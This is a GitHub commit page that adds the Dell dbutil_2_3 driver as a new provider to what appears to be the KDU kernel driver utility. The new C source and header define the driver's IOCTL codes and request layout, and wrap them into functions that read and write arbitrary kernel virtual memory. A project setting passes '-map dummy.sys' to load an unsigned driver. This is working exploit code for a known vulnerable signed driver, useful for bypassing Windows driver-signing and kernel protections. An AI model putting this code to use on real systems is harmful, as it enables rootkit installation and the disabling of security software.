-
Notifications
You must be signed in to change notification settings - Fork 431
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Added Dell dbutil_2_3 driver as provider 16
- Loading branch information
Showing
35 changed files
with
331 additions
and
41 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,12 +1,11 @@ | ||
<?xml version="1.0" encoding="utf-8"?> | ||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | ||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> | ||
<LocalDebuggerCommandArguments> | ||
</LocalDebuggerCommandArguments> | ||
<LocalDebuggerCommandArguments>-test</LocalDebuggerCommandArguments> | ||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor> | ||
</PropertyGroup> | ||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> | ||
<LocalDebuggerCommandArguments>-prv 15 -map c:\makeexe\kdu\bin\dummy2.sys</LocalDebuggerCommandArguments> | ||
<LocalDebuggerCommandArguments>-prv 16 -map c:\makeexe\kdu\bin\dummy.sys</LocalDebuggerCommandArguments> | ||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor> | ||
</PropertyGroup> | ||
</Project> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -59,3 +59,4 @@ | |
#define IDR_ASUSIO2 117 | ||
#define IDR_DIRECTIO64 118 | ||
#define IDR_GMERDRV 119 | ||
#define IDR_DBUTIL23 120 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,140 @@ | ||
/******************************************************************************* | ||
* | ||
* (C) COPYRIGHT AUTHORS, 2022 | ||
* | ||
* TITLE: DBUTIL23.CPP | ||
* | ||
* VERSION: 1.12 | ||
* | ||
* DATE: 25 Jan 2022 | ||
* | ||
* Dell BIOS Utility 2.3 driver routines. | ||
* | ||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF | ||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED | ||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A | ||
* PARTICULAR PURPOSE. | ||
* | ||
*******************************************************************************/ | ||
|
||
#include "global.h" | ||
#include "idrv/dbutil23.h" | ||
|
||
/* | ||
* DbUtilReadVirtualMemory | ||
* | ||
* Purpose: | ||
* | ||
* Read virtual memory via Dell DbUtil driver. | ||
* | ||
*/ | ||
_Success_(return != FALSE) | ||
BOOL WINAPI DbUtilReadVirtualMemory( | ||
_In_ HANDLE DeviceHandle, | ||
_In_ ULONG_PTR VirtualAddress, | ||
_In_reads_bytes_(NumberOfBytes) PVOID Buffer, | ||
_In_ ULONG NumberOfBytes) | ||
{ | ||
BOOL bResult = FALSE; | ||
|
||
SIZE_T size; | ||
ULONG value; | ||
DWORD dwError = ERROR_SUCCESS; | ||
DBUTIL_READWRITE_REQUEST* pRequest; | ||
|
||
value = FIELD_OFFSET(DBUTIL_READWRITE_REQUEST, Data) + NumberOfBytes; | ||
size = ALIGN_UP_BY(value, PAGE_SIZE); | ||
|
||
pRequest = (DBUTIL_READWRITE_REQUEST*)VirtualAlloc(NULL, size, | ||
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | ||
|
||
if (pRequest) { | ||
|
||
if (VirtualLock(pRequest, size)) { | ||
|
||
pRequest->Unused = 0xDEADBEEF; | ||
pRequest->VirtualAddress = VirtualAddress; | ||
pRequest->Offset = 0; | ||
|
||
bResult = supCallDriver(DeviceHandle, | ||
IOCTL_DBUTIL23_READVM, | ||
pRequest, | ||
(ULONG)size, | ||
pRequest, | ||
(ULONG)size); | ||
|
||
if (!bResult) { | ||
dwError = GetLastError(); | ||
} | ||
else { | ||
RtlCopyMemory(Buffer, pRequest->Data, NumberOfBytes); | ||
} | ||
|
||
VirtualUnlock(pRequest, size); | ||
} | ||
|
||
VirtualFree(pRequest, 0, MEM_RELEASE); | ||
} | ||
|
||
SetLastError(dwError); | ||
return bResult; | ||
|
||
} | ||
|
||
/* | ||
* DbUtilWriteVirtualMemory | ||
* | ||
* Purpose: | ||
* | ||
* Write virtual memory via Dell DbUtil driver. | ||
* | ||
*/ | ||
_Success_(return != FALSE) | ||
BOOL WINAPI DbUtilWriteVirtualMemory( | ||
_In_ HANDLE DeviceHandle, | ||
_In_ ULONG_PTR VirtualAddress, | ||
_In_reads_bytes_(NumberOfBytes) PVOID Buffer, | ||
_In_ ULONG NumberOfBytes) | ||
{ | ||
BOOL bResult = FALSE; | ||
|
||
SIZE_T size; | ||
ULONG value; | ||
DWORD dwError = ERROR_SUCCESS; | ||
|
||
DBUTIL_READWRITE_REQUEST* pRequest; | ||
|
||
value = FIELD_OFFSET(DBUTIL_READWRITE_REQUEST, Data) + NumberOfBytes; | ||
size = ALIGN_UP_BY(value, PAGE_SIZE); | ||
|
||
pRequest = (DBUTIL_READWRITE_REQUEST*)VirtualAlloc(NULL, size, | ||
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | ||
|
||
if (pRequest) { | ||
|
||
if (VirtualLock(pRequest, size)) { | ||
|
||
pRequest->Unused = 0xDEADBEEF; | ||
pRequest->VirtualAddress = VirtualAddress; | ||
pRequest->Offset = 0; | ||
RtlCopyMemory(&pRequest->Data, Buffer, NumberOfBytes); | ||
|
||
bResult = supCallDriver(DeviceHandle, | ||
IOCTL_DBUTIL23_WRITEVM, | ||
pRequest, | ||
(ULONG)size, | ||
pRequest, | ||
(ULONG)size); | ||
|
||
if (!bResult) | ||
dwError = GetLastError(); | ||
|
||
VirtualUnlock(pRequest, size); | ||
} | ||
|
||
VirtualFree(pRequest, 0, MEM_RELEASE); | ||
} | ||
|
||
SetLastError(dwError); | ||
return bResult; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,65 @@ | ||
/******************************************************************************* | ||
* | ||
* (C) COPYRIGHT AUTHORS, 2022 | ||
* | ||
* TITLE: DBUTIL23.H | ||
* | ||
* VERSION: 1.12 | ||
* | ||
* DATE: 25 Jan 2022 | ||
* | ||
* Dell BIOS Utility 2.3 driver interface header. | ||
* | ||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF | ||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED | ||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A | ||
* PARTICULAR PURPOSE. | ||
* | ||
*******************************************************************************/ | ||
|
||
#pragma once | ||
|
||
// | ||
// Dell driver interface. | ||
// | ||
|
||
#define DBUTIL23_DEVICE_TYPE (DWORD)0x9B0C | ||
|
||
#define DBUTIL23_FUNCTION_READVM (DWORD)0x7B1 | ||
#define DBUTIL23_FUNCTION_WRITEVM (DWORD)0x7B2 | ||
|
||
#define IOCTL_DBUTIL23_READVM \ | ||
CTL_CODE(DBUTIL23_DEVICE_TYPE, DBUTIL23_FUNCTION_READVM, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9B0C1EC4 | ||
|
||
#define IOCTL_DBUTIL23_WRITEVM \ | ||
CTL_CODE(DBUTIL23_DEVICE_TYPE, DBUTIL23_FUNCTION_WRITEVM, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9B0C1EC8 | ||
|
||
// | ||
// Virtual memory read/write | ||
// | ||
typedef struct _DBUTIL_READWRITE_REQUEST { | ||
ULONG_PTR Unused; | ||
ULONG_PTR VirtualAddress; | ||
ULONG_PTR Offset; | ||
UCHAR Data[1]; | ||
} DBUTIL_READWRITE_REQUEST, * PDBUTIL_READWRITE_REQUEST; | ||
|
||
// | ||
// Size of data to read/write calculated as: | ||
// | ||
// InputBufferSize - sizeof packet header 0x18 bytes length | ||
// | ||
|
||
_Success_(return != FALSE) | ||
BOOL WINAPI DbUtilReadVirtualMemory( | ||
_In_ HANDLE DeviceHandle, | ||
_In_ ULONG_PTR VirtualAddress, | ||
_In_reads_bytes_(NumberOfBytes) PVOID Buffer, | ||
_In_ ULONG NumberOfBytes); | ||
|
||
_Success_(return != FALSE) | ||
BOOL WINAPI DbUtilWriteVirtualMemory( | ||
_In_ HANDLE DeviceHandle, | ||
_In_ ULONG_PTR VirtualAddress, | ||
_In_reads_bytes_(NumberOfBytes) PVOID Buffer, | ||
_In_ ULONG NumberOfBytes); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -131,5 +131,4 @@ BOOL WINAPI GmerWriteVirtualMemory( | |
|
||
SetLastError(dwError); | ||
return bResult; | ||
|
||
} |
Oops, something went wrong.